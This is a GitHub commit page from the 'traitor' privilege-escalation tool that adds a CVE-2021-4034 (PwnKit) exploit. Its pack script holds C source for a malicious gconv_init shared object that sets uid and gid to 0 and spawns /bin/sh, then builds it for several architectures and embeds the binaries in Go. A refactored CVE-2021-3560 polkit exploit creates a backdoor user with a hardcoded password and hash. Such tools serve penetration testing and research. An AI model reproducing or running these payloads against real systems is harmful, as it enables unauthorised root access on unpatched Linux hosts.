Skip to content

Commit

Permalink
Add support for cve-2021-4034 (#53)
Browse files Browse the repository at this point in the history
* Add support for cve-2021-4034
  • Loading branch information
liamg authored Jan 30, 2022
1 parent 721ad3a commit ff4a5f2
Show file tree
Hide file tree
Showing 40 changed files with 6,675 additions and 31 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/pr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ jobs:
test:
strategy:
matrix:
go-version: [1.14.x, 1.15.x]
go-version: [1.17.x]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
steps:
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ jobs:
- name: Install Go
uses: actions/setup-go@v2
with:
go-version: 1.15.x
go-version: 1.17.x
- name: Checkout code
uses: actions/checkout@v2
- name: Test
Expand Down
7 changes: 7 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -1,10 +1,17 @@


.PHONY: build
build:
CGO_ENABLED=0 go build ./cmd/traitor

.PHONY: pack
pack:
go run ./cmd/pack

.PHONY: install
install:
CGO_ENABLED=0 go install -ldflags "-X github.com/liamg/traitor/version.Version=`git describe --tags`" ./cmd/traitor

.PHONY: test
test:
go test ./... -race -cover
104 changes: 104 additions & 0 deletions cmd/pack/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
package main

import (
"bytes"
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
)

const outputDir = "./pkg/exploits/cve20214034"

func main() {
if err := buildPwnkitSharedObjects(); err != nil {
panic(err)
}
}

func buildPwnkitSharedObjects() error {

for _, platform := range []struct {
goarch string
binary string
args []string
}{
{
goarch: "amd64",
binary: "gcc",
args: []string{"-Wall", "--shared", "-fPIC", "-o"},
},
{
goarch: "386",
binary: "gcc",
args: []string{"-m32", "-Wall", "--shared", "-fPIC", "-o"},
},
{
goarch: "arm64",
binary: "aarch64-linux-gnu-gcc",
args: []string{"-Wall", "--shared", "-fPIC", "-o"},
},
} {

for _, command := range []string{"/bin/sh", "/usr/bin/true"} {

desc := filepath.Base(command)

pwnkitSrc := fmt.Sprintf(`#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {}
void gconv_init(void *step) {
char *const args[] = {"%s", NULL};
char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/"
"bin:/sbin:/bin:/opt/bin",
NULL};
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}`, command)

sourcePath := filepath.Join(os.TempDir(), "traitor.c")
if err := ioutil.WriteFile(sourcePath, []byte(pwnkitSrc), 0600); err != nil {
return err
}
if err := exec.Command(platform.binary, append(platform.args, "/tmp/traitor.so", sourcePath)...).Run(); err != nil {
return err
}

soFilename := fmt.Sprintf("sharedobject_%s_%s.go", desc, platform.goarch)
soPath := filepath.Join(outputDir, soFilename)

rawSO, err := ioutil.ReadFile("/tmp/traitor.so")
if err != nil {
return err
}

output := bytes.NewBufferString(
fmt.Sprintf(
"//go:build %s\npackage cve20214034\n\nvar pwnkit_%s_sharedobj = []byte{",
platform.goarch,
desc,
),
)

for i, b := range rawSO {
if i%16 == 0 {
output.WriteString("\n ")
}
output.WriteString(fmt.Sprintf(" %d,", b))
}
output.WriteString("\n}\n")
if err := ioutil.WriteFile(soPath, output.Bytes(), 0755); err != nil {
return err
}
}
}

return nil

}
1 change: 1 addition & 0 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ go 1.15

require (
github.com/creack/pty v1.1.11
github.com/google/uuid v1.3.0
github.com/hashicorp/go-version v1.3.0
github.com/liamg/tml v0.3.0
github.com/spf13/cobra v1.1.1
Expand Down
2 changes: 2 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,8 @@ github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXi
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
Expand Down
19 changes: 19 additions & 0 deletions pkg/exploits/all.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
package exploits

import (
"github.com/liamg/traitor/pkg/exploits/cve20213560"
"github.com/liamg/traitor/pkg/exploits/cve20214034"
"github.com/liamg/traitor/pkg/exploits/dockersock"
)

func init() {
register("docker:writable-socket", SpeedFast, dockersock.New())
}

func init() {
register("polkit:CVE-2021-3560", SpeedFast, cve20213560.New())
}

func init() {
register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New())
}
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package exploits
package cve20213560

import (
"context"
Expand All @@ -23,21 +23,17 @@ import (
"golang.org/x/crypto/ssh/terminal"
)

type cve20213560Exploit struct {
type exploit struct {
}

var simpleVersionRegex = regexp.MustCompile("^[0-9\\.\\-]+")

func NewCVE20213560Exploit() *cve20213560Exploit {
exp := &cve20213560Exploit{}
func New() *exploit {
exp := &exploit{}
return exp
}

func init() {
register("polkit:CVE-2021-3560", SpeedFast, NewCVE20213560Exploit())
}
var simpleVersionRegex = regexp.MustCompile(`^[0-9\.\-]+`)

func (v *cve20213560Exploit) isVulnerableDebian(s *state.State) bool {
func (v *exploit) isVulnerableDebian(s *state.State) bool {

if !s.IsDebianLike() {
return false
Expand Down Expand Up @@ -72,7 +68,7 @@ func (v *cve20213560Exploit) isVulnerableDebian(s *state.State) bool {
return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
}

func (v *cve20213560Exploit) isVulnerableOther() bool {
func (v *exploit) isVulnerableOther() bool {

output, err := exec.Command("pkcheck", "--version").Output()
if err != nil {
Expand All @@ -98,7 +94,7 @@ func (v *cve20213560Exploit) isVulnerableOther() bool {
return actual.GreaterThanOrEqual(vulnerable) && actual.LessThan(patched)
}

func (v *cve20213560Exploit) IsVulnerable(_ context.Context, s *state.State, log logger.Logger) bool {
func (v *exploit) IsVulnerable(_ context.Context, s *state.State, log logger.Logger) bool {

// two different forks are versioned differently
if !v.isVulnerableDebian(s) && !v.isVulnerableOther() {
Expand All @@ -116,11 +112,11 @@ func (v *cve20213560Exploit) IsVulnerable(_ context.Context, s *state.State, log
return true
}

func (v *cve20213560Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
func (v *exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
return v.Exploit(ctx, s, log, payloads.Defer)
}

func (v *cve20213560Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
func (v *exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {

// attempt to install these via packagekit if they're not installed
if err := v.installPackage("gnome-control-center", s, log); err != nil {
Expand Down Expand Up @@ -230,7 +226,7 @@ func (v *cve20213560Exploit) Exploit(ctx context.Context, s *state.State, log lo
return nil
}

func (v *cve20213560Exploit) createUser(log logger.Logger) (*user.User, error) {
func (v *exploit) createUser(log logger.Logger) (*user.User, error) {

username := fmt.Sprintf("traitor%d", rand.Intn(10000))
userinfo := "CVE-2021-3560"
Expand Down Expand Up @@ -267,7 +263,7 @@ func (v *cve20213560Exploit) createUser(log logger.Logger) (*user.User, error) {
return user, nil
}

func (v *cve20213560Exploit) setPassword(u *user.User, log logger.Logger) string {
func (v *exploit) setPassword(u *user.User, log logger.Logger) string {

password := "traitor"
passwordHash := "$5$xRveGoW.etBZqJwg$uEvtrnKPbuEvTxJAisVrCevthWxafgX6.uAS6uF7QW7"
Expand Down Expand Up @@ -300,7 +296,7 @@ func (v *cve20213560Exploit) setPassword(u *user.User, log logger.Logger) string
return password
}

func (v *cve20213560Exploit) timeDbusCommand(args []string) time.Duration {
func (v *exploit) timeDbusCommand(args []string) time.Duration {

var totalTime time.Duration
samples := 100
Expand All @@ -314,7 +310,7 @@ func (v *cve20213560Exploit) timeDbusCommand(args []string) time.Duration {
return totalTime / time.Duration(samples)
}

func (v *cve20213560Exploit) installPackage(name string, s *state.State, log logger.Logger) error {
func (v *exploit) installPackage(name string, s *state.State, log logger.Logger) error {

if s.IsPackageInstalled(name) {
return nil
Expand Down
Loading

0 comments on commit ff4a5f2

Please sign in to comment.